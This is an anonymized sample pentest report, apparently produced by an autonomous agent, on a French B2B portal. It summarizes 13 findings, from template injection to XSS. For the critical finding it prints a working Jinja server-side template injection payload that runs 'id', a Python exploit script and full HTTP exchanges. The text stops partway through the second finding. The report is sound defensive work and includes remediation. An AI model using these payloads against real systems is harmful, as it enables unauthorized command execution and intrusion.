Sample report
A real pentest report, anonymized.
This is what you receive at the end of a mission: a complete report from a real test run by SpectrAI. Read it the way your team would.
SpectrAI · Sample report
Anonymized sampleAudit du portail B2B
Nordvault
Executive summary
Issued by SpectrAIPrepared for Nordvault
Action required
- Findings
- 13
- Evidence
- 60
- Proven attack paths
- 13
- Tested scope
- 1
- 1 Critical
- 2 High
- 10 Medium
Frame and limits of the evaluation
- Authorization
- Authorization attestation accepted on October 11, 2026 at 11:33 PM UTC (version 2026-10-10).
- Test mode
- External, without a test account: authenticated journeys were not evaluated.
- Review
- Every finding was reviewed before publication: 13 kept, 0 rejected.
- Limits
- Proofs provided by the agent, not independently replayed; coverage not measured. No demonstrated finding is not a security attestation.
Tested scope
1 exact target- Verified parent domain
- app.nordvault.fr
- Requested decisions
- Includedhttps://app.nordvault.fr/
Scope details
- Included
- https://app.nordvault.fr/
- Excluded
- Tested
- https://app.nordvault.fr/
- Observed
- https://app.nordvault.fr/
Proven attack paths
Deterministic projection of published evidence for the latest successful attempt.
Critical/newsletter/apercuExécution de commandes sans authentification par injection de modèle dans l’aperçu de newsletter
Exécution de commandes sans authentification par injection de modèle dans l’aperçu de newsletter
Exact authorized target: https://app.nordvault.fr/
Starting point
Internet
Subdomain
app.nordvault.fr
Endpoint
https://app.nordvault.fr/newsletter/apercu
Hosted by the previous step
Vulnerability
Exécution de commandes sans authentification par injection de modèle dans l’aperçu de newsletter
Exposed by the previous step
Impact
Le champ
modeledePOST /newsletter/apercuest interprété comme un modèle Jinja au lieu d’être traité comme une donnée. Un visiteur non authentifié peut y exécuter une commande système, comme le démontre la sortie deidrenvoyée par l’application.View finding and evidenceProvenance
Verified deterministic projectionBound proofs
Request / responseExploit artifactRequest / responseRequest / responseRequest / responseRequest / responseHigh/api/v1/mot-de-passe/reinitialisationDivulgation du jeton de réinitialisation permettant la prise de contrôle d’un compte
Divulgation du jeton de réinitialisation permettant la prise de contrôle d’un compte
Exact authorized target: https://app.nordvault.fr/
Starting point
Internet
Subdomain
app.nordvault.fr
Endpoint
https://app.nordvault.fr/api/v1/mot-de-passe/reinitialisation
Hosted by the previous step
Vulnerability
Divulgation du jeton de réinitialisation permettant la prise de contrôle d’un compte
Exposed by the previous step
Impact
L’API de réinitialisation retourne le code secret dans le champ
_debug.jetonde sa réponse non authentifiée. Ce code permet de définir un nouveau mot de passe sans accès à la boîte mail du titulaire.View finding and evidenceProvenance
Verified deterministic projectionBound proofs
Request / responseRequest / responseRequest / responseRequest / responseExploit artifactRequest / responseHigh/api/v1/moiÉlévation persistante au rôle administrateur par attribution de masse dans
PATCH /api/v1/moiÉlévation persistante au rôle administrateur par attribution de masse dans
PATCH /api/v1/moiExact authorized target: https://app.nordvault.fr/
Starting point
Internet
Subdomain
app.nordvault.fr
Endpoint
https://app.nordvault.fr/api/v1/moi
Hosted by the previous step
Vulnerability
Élévation persistante au rôle administrateur par attribution de masse dans PATCH /api/v1/moi
Exposed by the previous step
Impact
Un compte client auto-inscrit peut transmettre
role=adminà la mise à jour de son propre profil. Le serveur persiste ce rôle, émet un nouveau JWT administrateur et autorise ensuite la lecture de la liste des utilisateurs réservée à l’administration.View finding and evidenceProvenance
Verified deterministic projectionBound proofs
Request / responseRequest / responseRequest / responseRequest / responseRequest / responseExploit artifact
Show the 10 other paths
Medium/api/v1/admin/utilisateursAcceptation de JWT non signés permettant l’accès à une route administrateur
Acceptation de JWT non signés permettant l’accès à une route administrateur
Exact authorized target: https://app.nordvault.fr/
Starting point
Internet
Subdomain
app.nordvault.fr
Endpoint
https://app.nordvault.fr/api/v1/admin/utilisateurs
Hosted by the previous step
Vulnerability
Acceptation de JWT non signés permettant l’accès à une route administrateur
Exposed by the previous step
Impact
L’API accepte un jeton JWT dont l’en-tête annonce
alg: noneet dont la signature est absente. Un compteclientpeut ainsi modifier sa revendicationroleenadminet accéder à/api/v1/admin/utilisateurs, normalement interdit à ce compte.View finding and evidenceProvenance
Verified deterministic projectionBound proofs
Request / responseExploit artifactMedium/api/v1/import-commandesEntités XML externes permettant la lecture d’un fichier local dans l’import des commandes
Entités XML externes permettant la lecture d’un fichier local dans l’import des commandes
Exact authorized target: https://app.nordvault.fr/
Starting point
Internet
Subdomain
app.nordvault.fr
Endpoint
https://app.nordvault.fr/api/v1/import-commandes
Hosted by the previous step
Vulnerability
Entités XML externes permettant la lecture d’un fichier local dans l’import des commandes
Exposed by the previous step
Impact
L’API authentifiée
POST /api/v1/import-commandesrésout une entité XML externe pointant vers un fichier local et en renvoie le contenu dansimportees[0].reference. Un compte client créé par l’inscription publique suffit à lire ainsi un fichier accessible au processus serveur.View finding and evidenceProvenance
Verified deterministic projectionBound proofs
Request / responseRequest / responseRequest / responseExploit artifactRequest / responseRequest / responseMedium/.envExposition anonyme de fichiers
.envet.git/configcontenant des secrets de configurationExposition anonyme de fichiers
.envet.git/configcontenant des secrets de configurationExact authorized target: https://app.nordvault.fr/
Starting point
Internet
Subdomain
app.nordvault.fr
Endpoint
https://app.nordvault.fr/.env
Hosted by the previous step
Vulnerability
Exposition anonyme de fichiers .env et .git/config contenant des secrets de configuration
Exposed by the previous step
Impact
Le serveur publie directement les fichiers
.envet.git/configà tout visiteur non authentifié. Ils révèlent des variables de configuration et une URL de dépôt comportant des identifiants intégrés ; la validité de ces identifiants n'a pas été établie.View finding and evidenceProvenance
Verified deterministic projectionBound proofs
Exploit artifactMedium/api/v1/stock?sku=Injection SQL aveugle dans le paramètre
skude/api/v1/stockInjection SQL aveugle dans le paramètre
skude/api/v1/stockExact authorized target: https://app.nordvault.fr/
Starting point
Internet
Subdomain
app.nordvault.fr
Endpoint
https://app.nordvault.fr/api/v1/stock?sku=
Hosted by the previous step
Vulnerability
Injection SQL aveugle dans le paramètre sku de /api/v1/stock
Exposed by the previous step
Impact
Le paramètre public
skude/api/v1/stockpermet d’injecter une condition SQL et d’en lire le résultat dansen_stock, sans authentification. L’oracle divulgue des attributs d’un produit inactif absent du catalogue et de l’API publique.View finding and evidenceProvenance
Verified deterministic projectionBound proofs
Exploit artifactRequest / responseRequest / responseRequest / responseRequest / responseRequest / responseMedium/catalogue?categorie=Injection SQL non authentifiée dans le filtre
categoriedu catalogueInjection SQL non authentifiée dans le filtre
categoriedu catalogueExact authorized target: https://app.nordvault.fr/
Starting point
Internet
Subdomain
app.nordvault.fr
Endpoint
https://app.nordvault.fr/catalogue?categorie=
Hosted by the previous step
Vulnerability
Injection SQL non authentifiée dans le filtre categorie du catalogue
Exposed by the previous step
Impact
Le paramètre
categoriedeGET /catalogueest inséré dans une requête SQL sans paramétrage. Un visiteur non authentifié peut modifier la condition de sélection et afficher un produit normalement absent du catalogue.View finding and evidenceProvenance
Verified deterministic projectionBound proofs
Request / responseRequest / responseRequest / responseRequest / responseExploit artifactRequest / responseMedium/telechargement?fichier=Lecture arbitraire de fichiers par chemin absolu dans
GET /telechargementLecture arbitraire de fichiers par chemin absolu dans
GET /telechargementExact authorized target: https://app.nordvault.fr/
Starting point
Internet
Subdomain
app.nordvault.fr
Endpoint
https://app.nordvault.fr/telechargement?fichier=
Hosted by the previous step
Vulnerability
Lecture arbitraire de fichiers par chemin absolu dans GET /telechargement
Exposed by the previous step
Impact
Le paramètre
fichierdeGET /telechargementaccepte un chemin absolu fourni par un visiteur non authentifié. Le téléchargement peut ainsi sortir du répertoire des documents et lire des fichiers de configuration de l’application.View finding and evidenceProvenance
Verified deterministic projectionBound proofs
Request / responseRequest / responseExploit artifactRequest / responseRequest / responseRequest / responseMedium/api/v1/panier/validerPrix du panier contrôlable par le client lors de sa validation
Prix du panier contrôlable par le client lors de sa validation
Exact authorized target: https://app.nordvault.fr/
Starting point
Internet
Subdomain
app.nordvault.fr
Endpoint
https://app.nordvault.fr/api/v1/panier/valider
Hosted by the previous step
Vulnerability
Prix du panier contrôlable par le client lors de sa validation
Exposed by the previous step
Impact
La validation du panier accepte le champ non documenté
prixfourni dans chaque ligne et l'utilise à la place du tarif du catalogue. Un client authentifié obtient ainsi une réponsestatut: valideepour un article facturé à0au lieu de5.9.View finding and evidenceProvenance
Verified deterministic projectionBound proofs
Exploit artifactRequest / responseRequest / responseRequest / responseRequest / responseRequest / responseMedium/backup/nova-2024-03.sql.bakSauvegarde SQL contenant des comptes accessible sans authentification dans
/backup/Sauvegarde SQL contenant des comptes accessible sans authentification dans
/backup/Exact authorized target: https://app.nordvault.fr/
Starting point
Internet
Subdomain
app.nordvault.fr
Endpoint
https://app.nordvault.fr/backup/nova-2024-03.sql.bak
Hosted by the previous step
Vulnerability
Sauvegarde SQL contenant des comptes accessible sans authentification dans /backup/
Exposed by the previous step
Impact
Le fichier
/backup/nova-2024-03.sql.bakest téléchargeable sans session depuis un index public. Il expose la structure de la tableuserset cinq enregistrements comportant notamment des adresses électroniques, des empreintes de mots de passe et des rôles.View finding and evidenceProvenance
Verified deterministic projectionBound proofs
Request / responseRequest / responseExploit artifactMedium/aideXSS DOM dans le fragment d’URL de
/aideXSS DOM dans le fragment d’URL de
/aideExact authorized target: https://app.nordvault.fr/
Starting point
Internet
Subdomain
app.nordvault.fr
Endpoint
https://app.nordvault.fr/aide
Hosted by the previous step
Vulnerability
XSS DOM dans le fragment d’URL de /aide
Exposed by the previous step
Impact
La page publique
/aideinsère le fragment d’URL décodé directement dansinnerHTML. Un lien spécialement construit exécute ainsi du JavaScript dans le navigateur du visiteur qui l’ouvre.View finding and evidenceProvenance
Verified deterministic projectionBound proofs
Exploit artifactMedium/rechercheXSS réfléchie dans le paramètre
qde/rechercheXSS réfléchie dans le paramètre
qde/rechercheExact authorized target: https://app.nordvault.fr/
Starting point
Internet
Subdomain
app.nordvault.fr
Endpoint
https://app.nordvault.fr/recherche
Hosted by the previous step
Vulnerability
XSS réfléchie dans le paramètre q de /recherche
Exposed by the previous step
Impact
La page publique
/rechercheréinsère le paramètreqsans encodage HTML dans sa réponse. Un lien construit par un attaquant exécute du JavaScript dans le navigateur du visiteur.View finding and evidenceProvenance
Verified deterministic projectionBound proofs
Request / responseRequest / responseExploit artifactRequest / responseRequest / response
Findings
13 findingsCritical
1. Exécution de commandes sans authentification par injection de modèle dans l’aperçu de newsletter
https://app.nordvault.fr/newsletter/apercu
- CVSS 3.1 score
- 9.8
- Weakness (CWE)
- CWE-94
- OWASP category
- A03 · Injection
Description
Le champ
modeledePOST /newsletter/apercuest interprété comme un modèle Jinja au lieu d’être traité comme une donnée. Un visiteur non authentifié peut y exécuter une commande système, comme le démontre la sortie deidrenvoyée par l’application.Impact
L’essai a démontré l’exécution d’une commande arbitraire avec les privilèges du compte serveur
www-data(uid=33). Cette capacité compromet la frontière d’exécution de l’application. Aucune lecture de donnée privée, exfiltration, modification de fichier ou interruption du service n’a été effectuée.Technical analysis
Le paramètre de formulaire
modeleest compilé et évalué comme du code de modèle côté serveur. Deux expressions indépendantes,{{7*7}}et{{7*8}}, deviennent respectivement49et56;{{7*'7'}}devient7777777, ce qui correspond à la sémantique de Jinja. L’expression{{cycler.__init__.__globals__.os.popen("id").read()}}atteint les objets Python du moteur, invoque une commande du système d’exploitation et insère sa sortie dans<article><pre>. La réponse présente bienuid=33(www-data), établissant la chaîne entrée contrôlée → évaluation du modèle → commande système → sortie HTTP. La requête n’envoie ni cookie ni jeton d’autorisation.Remediation
1. Ne jamais compiler ni interpréter la valeur de
modelefournie par un visiteur comme source d’un modèle côté serveur ; charger uniquement des modèles fixes et maintenus par l’application, puis transmettre les valeurs utilisateur comme données de contexte. 2. Si l’édition de modèles est réellement nécessaire, limiter cette fonction aux rôles explicitement autorisés et utiliser un langage de substitution strict, sans accès aux attributs Python, aux objets globaux ou à l’exécution de commandes. 3. Ajouter des essais de non-régression pour les expressions arithmétiques et l’accès àcycler, puis appliquer le principe du moindre privilège au processus Web.Remediation detailsEstimated effort: Medium
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Validation assumptions
Le parcours
POST /newsletter/apercuest public : les requêtes de démonstration ne contiennent aucun cookie ni en-tête d’autorisation. La commandeidest non destructive et son résultat reflète les droits du processus Web, sans démonstration de privilèges système plus élevés.Confidence declared by the agent
HighCounterevidence examined
L’aperçu applique un encodage HTML à certains caractères de sortie, et la page est servie derrière Cloudflare ; ces contrôles ne bloquent pas l’évaluation Jinja ni l’appel à
os.popen, puisque la sortie réelle deidest présente dans une réponse200. Le formulaire pourrait avoir été prévu pour des variables de substitution, mais la présence decycler.__init__.__globals__et l’exécution effective deiddépassent une substitution de données. Les essais ont été effectués sans session ; aucune condition d’authentification n’a été observée sur ce chemin.Evidence
Request / response
HTTP request
POST /newsletter/apercu HTTP/1.1 Host: app.nordvault.fr User-Agent: curl/8.20.0 Accept: */* Content-Length: 92 Content-Type: application/x-www-form-urlencoded sujet=Essai&modele=%7B%7Bcycler.__init__.__globals__.os.popen%28%22id%22%29.read%28%29%7D%7D
HTTP response
HTTP/1.1 200 OK Date: Sun, 11 Oct 2026 23:36:49 GMT Content-Type: text/html; charset=utf-8 Connection: keep-alive Cache-Control: no-store Server: cloudflare cf-cache-status: DYNAMIC Report-To: {"group":"cf-nel","max_age":604800,"endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=dfAHoR6XerdaD%2BdFg2eaT5igz1GHPxdzRsf5xk32BFIIb%2Bzlj1wpCxoVdZy6pkIS5v3AUx7TdHNgEjHAolxvqdJWNYdEmtyzzwSTAPQs0lYRV2YwLmamUP00veq21vSW2T4JFw4Xgaqk"}]} Nel: {"report_to":"cf-nel","success_fraction":0.0,"max_age":604800} CF-RAY: a491b06a1c84dbea-FRA alt-svc: h3=":443"; ma=86400 Content-Length: 2517 <!doctype html> <html lang="fr"><head><meta charset="utf-8"><meta name="viewport" content="width=device-width, initial-scale=1"> <title>Apercu newsletter - Nordvault</title> <style>body{font-family:system-ui,sans-serif;max-width:960px;margin:0 auto;padding:0 16px;color:#1d2433}header,footer{display:flex;gap:14px;flex-wrap:wrap;padding:12px 0;border-bottom:1px solid #dde}footer{border-top:1px solid #dde;border-bottom:0;margin-top:40px;font-size:14px}table{border-collapse:collapse}td,th{border:1px solid #dde;padding:4px 8px}</style> </head><body> <header><strong><a href="/">Nordvault</a></strong> <nav aria-label="Principale"><a href="/catalogue">Catalogue</a> <a href="/recherche">Recherche</a> <a href="/support">Support</a> <a href="/aide">Aide</a> <a href="/newsletter">Newsletter</a> </nav> <span><a href="/connexion">Connexion</a> <a href="/inscription">Creer un compte</a></span></header> <main><h1>Apercu</h1><article><pre>uid=33(www-data) gid=33(www-data) groups=33(www-data)</pre></article><p><a href="/newsletter">Modifier</a></p></main> <footer><a href="/telechargement?fichier=cgv.pdf">CGV</a> <a href="/telechargement?fichier=catalogue-2024.pdf">Catalogue PDF</a> <a href="/sortie?url=https://www.partenaire-papeterie.example/">Notre partenaire papeterie</a> <a href="/partenaires/sortie?url=https://www.transporteur-express.example/suivi">Suivi transporteur</a> <a href="/outils">Outils clients</a> <span>Nordvault SAS - fournitures de bureau pour les pros depuis 1998</span></footer> <script src="/static/app.js"></script> <script>(function(){function c(){var b=a.contentDocument||(a.contentWindow&&a.contentWindow.document);if(b){var d=b.createElement('script');d.innerHTML="window.__CF$cv$params={r:'a491b06a1c84dbea',t:'MTc5MTc2MTgwOA=='};var a=document.createElement('script');a.src='/cdn-cgi/challenge-platform/scripts/jsd/main.js';document.getElementsByTagName('head')[0].appendChild(a);";b.getElementsByTagName('head')[0].appendChild(d)}}if(document.body){var a=document.createElement('iframe');a.height=1;a.width=1;a.style.position='absolute';a.style.top=0;a.style.left=0;a.style.border='none';a.style.visibility='hidden';document.body.appendChild(a);if('loading'!==document.readyState)c();else if(window.addEventListener)document.addEventListener('DOMContentLoaded',c);else{var e=document.onreadystatechange||function(){};document.onreadystatechange=function(b){e(b);'loading'!==document.readyState&&(document.onreadystatechange=e,c())}}}})();</script></body></html>Exploit artifact
Reproduction
1. Envoyer à
POST /newsletter/apercuun formulaire non authentifié avecsujet=Essaietmodele={{7*8}}; constater56dans l’aperçu. 2. Remplacermodelepar{{7*'7'}}; constater7777777et identifier l’évaluation Jinja. 3. Remplacermodelepar{{cycler.__init__.__globals__.os.popen("id").read()}}; constater l’identité du processus serveur dans l’aperçu. S’arrêter après cette commande non destructive.Exploit artifact
text/x-shellscript import requests url = "https://app.nordvault.fr/newsletter/apercu" for expression in ("{{7*8}}", "{{7*'7'}}", '{{cycler.__init__.__globals__.os.popen("id").read()}}'): response = requests.post(url, data={"sujet": "Essai", "modele": expression}, timeout=10, allow_redirects=False) print(expression, response.status_code, response.text.split("<article><pre>", 1)[1].split("</pre>", 1)[0])Request / response
HTTP request
POST /newsletter/apercu HTTP/1.1 Host: app.nordvault.fr User-Agent: curl/8.20.0 Accept: */* Content-Length: 36 Content-Type: application/x-www-form-urlencoded sujet=Essai&modele=%7B%7B7%2A8%7D%7D
HTTP response
HTTP/1.1 200 OK Date: Sun, 11 Oct 2026 23:36:42 GMT Content-Type: text/html; charset=utf-8 Connection: keep-alive Cache-Control: no-store Server: cloudflare cf-cache-status: DYNAMIC Report-To: {"group":"cf-nel","max_age":604800,"endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=jZxF6fWSxRPt0L5gQYXwfGy79LjzloYnGXiLxfIA4FNGs81XiU%2FVvwHyHKT2wItCokpW8wRh2IIHRyahlEtcRBdNzXAEQWVhNqCvKeSBX38U7eRbVoASJObmD%2F%2F8xTU9TIxtUtokCXUy"}]} Nel: {"report_to":"cf-nel","success_fraction":0.0,"max_age":604800} CF-RAY: a491b0408e469110-FRA alt-svc: h3=":443"; ma=86400 Content-Length: 2466 <!doctype html> <html lang="fr"><head><meta charset="utf-8"><meta name="viewport" content="width=device-width, initial-scale=1"> <title>Apercu newsletter - Nordvault</title> <style>body{font-family:system-ui,sans-serif;max-width:960px;margin:0 auto;padding:0 16px;color:#1d2433}header,footer{display:flex;gap:14px;flex-wrap:wrap;padding:12px 0;border-bottom:1px solid #dde}footer{border-top:1px solid #dde;border-bottom:0;margin-top:40px;font-size:14px}table{border-collapse:collapse}td,th{border:1px solid #dde;padding:4px 8px}</style> </head><body> <header><strong><a href="/">Nordvault</a></strong> <nav aria-label="Principale"><a href="/catalogue">Catalogue</a> <a href="/recherche">Recherche</a> <a href="/support">Support</a> <a href="/aide">Aide</a> <a href="/newsletter">Newsletter</a> </nav> <span><a href="/connexion">Connexion</a> <a href="/inscription">Creer un compte</a></span></header> <main><h1>Apercu</h1><article><pre>56</pre></article><p><a href="/newsletter">Modifier</a></p></main> <footer><a href="/telechargement?fichier=cgv.pdf">CGV</a> <a href="/telechargement?fichier=catalogue-2024.pdf">Catalogue PDF</a> <a href="/sortie?url=https://www.partenaire-papeterie.example/">Notre partenaire papeterie</a> <a href="/partenaires/sortie?url=https://www.transporteur-express.example/suivi">Suivi transporteur</a> <a href="/outils">Outils clients</a> <span>Nordvault SAS - fournitures de bureau pour les pros depuis 1998</span></footer> <script src="/static/app.js"></script> <script>(function(){function c(){var b=a.contentDocument||(a.contentWindow&&a.contentWindow.document);if(b){var d=b.createElement('script');d.innerHTML="window.__CF$cv$params={r:'a491b0408e469110',t:'MTc5MTc2MTgwMg=='};var a=document.createElement('script');a.src='/cdn-cgi/challenge-platform/scripts/jsd/main.js';document.getElementsByTagName('head')[0].appendChild(a);";b.getElementsByTagName('head')[0].appendChild(d)}}if(document.body){var a=document.createElement('iframe');a.height=1;a.width=1;a.style.position='absolute';a.style.top=0;a.style.left=0;a.style.border='none';a.style.visibility='hidden';document.body.appendChild(a);if('loading'!==document.readyState)c();else if(window.addEventListener)document.addEventListener('DOMContentLoaded',c);else{var e=document.onreadystatechange||function(){};document.onreadystatechange=function(b){e(b);'loading'!==document.readyState&&(document.onreadystatechange=e,c())}}}})();</script></body></html>Request / response
HTTP request
POST /newsletter/apercu HTTP/1.1 Host: app.nordvault.fr User-Agent: curl/8.20.0 Accept: */* Content-Length: 42 Content-Type: application/x-www-form-urlencoded sujet=Essai&modele=Bonjour+%7B%7Bnom%7D%7D
HTTP response
HTTP/1.1 200 OK Date: Sun, 11 Oct 2026 23:36:42 GMT Content-Type: text/html; charset=utf-8 Connection: keep-alive Cache-Control: no-store Server: cloudflare cf-cache-status: DYNAMIC Report-To: {"group":"cf-nel","max_age":604800,"endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=2D4cw026SQ1%2BBF9nSjmTgazNhDmKC6h9pSQvhpcqvMgOHC8%2FuaDs%2FHWpEvCAAKd9533DUBQbIgHMqUfxRRd03JNDKJv6Bw8XRIZ8kpqcq9c86oX1HCZBZ45WEFQjNcIU7pzQOjMlsxlo"}]} Nel: {"report_to":"cf-nel","success_fraction":0.0,"max_age":604800} CF-RAY: a491b03f1db31e52-FRA alt-svc: h3=":443"; ma=86400 Content-Length: 2472 <!doctype html> <html lang="fr"><head><meta charset="utf-8"><meta name="viewport" content="width=device-width, initial-scale=1"> <title>Apercu newsletter - Nordvault</title> <style>body{font-family:system-ui,sans-serif;max-width:960px;margin:0 auto;padding:0 16px;color:#1d2433}header,footer{display:flex;gap:14px;flex-wrap:wrap;padding:12px 0;border-bottom:1px solid #dde}footer{border-top:1px solid #dde;border-bottom:0;margin-top:40px;font-size:14px}table{border-collapse:collapse}td,th{border:1px solid #dde;padding:4px 8px}</style> </head><body> <header><strong><a href="/">Nordvault</a></strong> <nav aria-label="Principale"><a href="/catalogue">Catalogue</a> <a href="/recherche">Recherche</a> <a href="/support">Support</a> <a href="/aide">Aide</a> <a href="/newsletter">Newsletter</a> </nav> <span><a href="/connexion">Connexion</a> <a href="/inscription">Creer un compte</a></span></header> <main><h1>Apercu</h1><article><pre>Bonjour </pre></article><p><a href="/newsletter">Modifier</a></p></main> <footer><a href="/telechargement?fichier=cgv.pdf">CGV</a> <a href="/telechargement?fichier=catalogue-2024.pdf">Catalogue PDF</a> <a href="/sortie?url=https://www.partenaire-papeterie.example/">Notre partenaire papeterie</a> <a href="/partenaires/sortie?url=https://www.transporteur-express.example/suivi">Suivi transporteur</a> <a href="/outils">Outils clients</a> <span>Nordvault SAS - fournitures de bureau pour les pros depuis 1998</span></footer> <script src="/static/app.js"></script> <script>(function(){function c(){var b=a.contentDocument||(a.contentWindow&&a.contentWindow.document);if(b){var d=b.createElement('script');d.innerHTML="window.__CF$cv$params={r:'a491b03f1db31e52',t:'MTc5MTc2MTgwMg=='};var a=document.createElement('script');a.src='/cdn-cgi/challenge-platform/scripts/jsd/main.js';document.getElementsByTagName('head')[0].appendChild(a);";b.getElementsByTagName('head')[0].appendChild(d)}}if(document.body){var a=document.createElement('iframe');a.height=1;a.width=1;a.style.position='absolute';a.style.top=0;a.style.left=0;a.style.border='none';a.style.visibility='hidden';document.body.appendChild(a);if('loading'!==document.readyState)c();else if(window.addEventListener)document.addEventListener('DOMContentLoaded',c);else{var e=document.onreadystatechange||function(){};document.onreadystatechange=function(b){e(b);'loading'!==document.readyState&&(document.onreadystatechange=e,c())}}}})();</script></body></html>Request / response
HTTP request
POST /newsletter/apercu HTTP/1.1 Host: app.nordvault.fr User-Agent: curl/8.20.0 Accept: */* Content-Length: 42 Content-Type: application/x-www-form-urlencoded sujet=Essai&modele=%7B%7B7%2A%277%27%7D%7D
HTTP response
HTTP/1.1 200 OK Date: Sun, 11 Oct 2026 23:36:42 GMT Content-Type: text/html; charset=utf-8 Connection: keep-alive Cache-Control: no-store Server: cloudflare cf-cache-status: DYNAMIC Report-To: {"group":"cf-nel","max_age":604800,"endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=eTm6yjf5dtblbVd28vnopix4ByBR%2FNZp9heDG6%2BVtn5BwfhpAGk3DPhpgYEVVTqQaBdOuKvQOx0tcirlGr5Fuh5c5e4N9NQXUmJ8sv3dLhNawOQDq2YBPB5msri4ynneqmzDVLGSejdq"}]} Nel: {"report_to":"cf-nel","success_fraction":0.0,"max_age":604800} CF-RAY: a491b04118c1d2ab-FRA alt-svc: h3=":443"; ma=86400 Content-Length: 2471 <!doctype html> <html lang="fr"><head><meta charset="utf-8"><meta name="viewport" content="width=device-width, initial-scale=1"> <title>Apercu newsletter - Nordvault</title> <style>body{font-family:system-ui,sans-serif;max-width:960px;margin:0 auto;padding:0 16px;color:#1d2433}header,footer{display:flex;gap:14px;flex-wrap:wrap;padding:12px 0;border-bottom:1px solid #dde}footer{border-top:1px solid #dde;border-bottom:0;margin-top:40px;font-size:14px}table{border-collapse:collapse}td,th{border:1px solid #dde;padding:4px 8px}</style> </head><body> <header><strong><a href="/">Nordvault</a></strong> <nav aria-label="Principale"><a href="/catalogue">Catalogue</a> <a href="/recherche">Recherche</a> <a href="/support">Support</a> <a href="/aide">Aide</a> <a href="/newsletter">Newsletter</a> </nav> <span><a href="/connexion">Connexion</a> <a href="/inscription">Creer un compte</a></span></header> <main><h1>Apercu</h1><article><pre>7777777</pre></article><p><a href="/newsletter">Modifier</a></p></main> <footer><a href="/telechargement?fichier=cgv.pdf">CGV</a> <a href="/telechargement?fichier=catalogue-2024.pdf">Catalogue PDF</a> <a href="/sortie?url=https://www.partenaire-papeterie.example/">Notre partenaire papeterie</a> <a href="/partenaires/sortie?url=https://www.transporteur-express.example/suivi">Suivi transporteur</a> <a href="/outils">Outils clients</a> <span>Nordvault SAS - fournitures de bureau pour les pros depuis 1998</span></footer> <script src="/static/app.js"></script> <script>(function(){function c(){var b=a.contentDocument||(a.contentWindow&&a.contentWindow.document);if(b){var d=b.createElement('script');d.innerHTML="window.__CF$cv$params={r:'a491b04118c1d2ab',t:'MTc5MTc2MTgwMg=='};var a=document.createElement('script');a.src='/cdn-cgi/challenge-platform/scripts/jsd/main.js';document.getElementsByTagName('head')[0].appendChild(a);";b.getElementsByTagName('head')[0].appendChild(d)}}if(document.body){var a=document.createElement('iframe');a.height=1;a.width=1;a.style.position='absolute';a.style.top=0;a.style.left=0;a.style.border='none';a.style.visibility='hidden';document.body.appendChild(a);if('loading'!==document.readyState)c();else if(window.addEventListener)document.addEventListener('DOMContentLoaded',c);else{var e=document.onreadystatechange||function(){};document.onreadystatechange=function(b){e(b);'loading'!==document.readyState&&(document.onreadystatechange=e,c())}}}})();</script></body></html>Request / response
HTTP request
POST /newsletter/apercu HTTP/1.1 Host: app.nordvault.fr User-Agent: curl/8.20.0 Accept: */* Content-Length: 36 Content-Type: application/x-www-form-urlencoded sujet=Essai&modele=%7B%7B7%2A7%7D%7D
HTTP response
HTTP/1.1 200 OK Date: Sun, 11 Oct 2026 23:36:42 GMT Content-Type: text/html; charset=utf-8 Connection: keep-alive Cache-Control: no-store Server: cloudflare cf-cache-status: DYNAMIC Report-To: {"group":"cf-nel","max_age":604800,"endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=2nYr1uOu259SwMev0AYv5%2Brwy49A%2FV6x9uEgFIM9oC%2Be%2Bnv6WtU6qurCPb0wubWYk8o6HjuliMSH273tzPp0SZabqSZui8YUpGo%2FfTcd8fm1IixgRMOGpwKVjPwZGF6WAJdxAznveZLW"}]} Nel: {"report_to":"cf-nel","success_fraction":0.0,"max_age":604800} CF-RAY: a491b03fcd5eb913-FRA alt-svc: h3=":443"; ma=86400 Content-Length: 2466 <!doctype html> <html lang="fr"><head><meta charset="utf-8"><meta name="viewport" content="width=device-width, initial-scale=1"> <title>Apercu newsletter - Nordvault</title> <style>body{font-family:system-ui,sans-serif;max-width:960px;margin:0 auto;padding:0 16px;color:#1d2433}header,footer{display:flex;gap:14px;flex-wrap:wrap;padding:12px 0;border-bottom:1px solid #dde}footer{border-top:1px solid #dde;border-bottom:0;margin-top:40px;font-size:14px}table{border-collapse:collapse}td,th{border:1px solid #dde;padding:4px 8px}</style> </head><body> <header><strong><a href="/">Nordvault</a></strong> <nav aria-label="Principale"><a href="/catalogue">Catalogue</a> <a href="/recherche">Recherche</a> <a href="/support">Support</a> <a href="/aide">Aide</a> <a href="/newsletter">Newsletter</a> </nav> <span><a href="/connexion">Connexion</a> <a href="/inscription">Creer un compte</a></span></header> <main><h1>Apercu</h1><article><pre>49</pre></article><p><a href="/newsletter">Modifier</a></p></main> <footer><a href="/telechargement?fichier=cgv.pdf">CGV</a> <a href="/telechargement?fichier=catalogue-2024.pdf">Catalogue PDF</a> <a href="/sortie?url=https://www.partenaire-papeterie.example/">Notre partenaire papeterie</a> <a href="/partenaires/sortie?url=https://www.transporteur-express.example/suivi">Suivi transporteur</a> <a href="/outils">Outils clients</a> <span>Nordvault SAS - fournitures de bureau pour les pros depuis 1998</span></footer> <script src="/static/app.js"></script> <script>(function(){function c(){var b=a.contentDocument||(a.contentWindow&&a.contentWindow.document);if(b){var d=b.createElement('script');d.innerHTML="window.__CF$cv$params={r:'a491b03fcd5eb913',t:'MTc5MTc2MTgwMg=='};var a=document.createElement('script');a.src='/cdn-cgi/challenge-platform/scripts/jsd/main.js';document.getElementsByTagName('head')[0].appendChild(a);";b.getElementsByTagName('head')[0].appendChild(d)}}if(document.body){var a=document.createElement('iframe');a.height=1;a.width=1;a.style.position='absolute';a.style.top=0;a.style.left=0;a.style.border='none';a.style.visibility='hidden';document.body.appendChild(a);if('loading'!==document.readyState)c();else if(window.addEventListener)document.addEventListener('DOMContentLoaded',c);else{var e=document.onreadystatechange||function(){};document.onreadystatechange=function(b){e(b);'loading'!==document.readyState&&(document.onreadystatechange=e,c())}}}})();</script></body></html>This evidence comes from the autonomous testing agent and has not been independently replayed.
High
2. Divulgation du jeton de réinitialisation permettant la prise de contrôle d’un compte
https://app.nordvault.fr/api/v1/mot-de-passe/reinitialisation
- CVSS 3.1 score
- 8.2
- Weakness (CWE)
- CWE-640
- OWASP category
- A07 · Identification and Authentication Failures
Description
L’API de réinitialisation retourne le code secret dans le champ
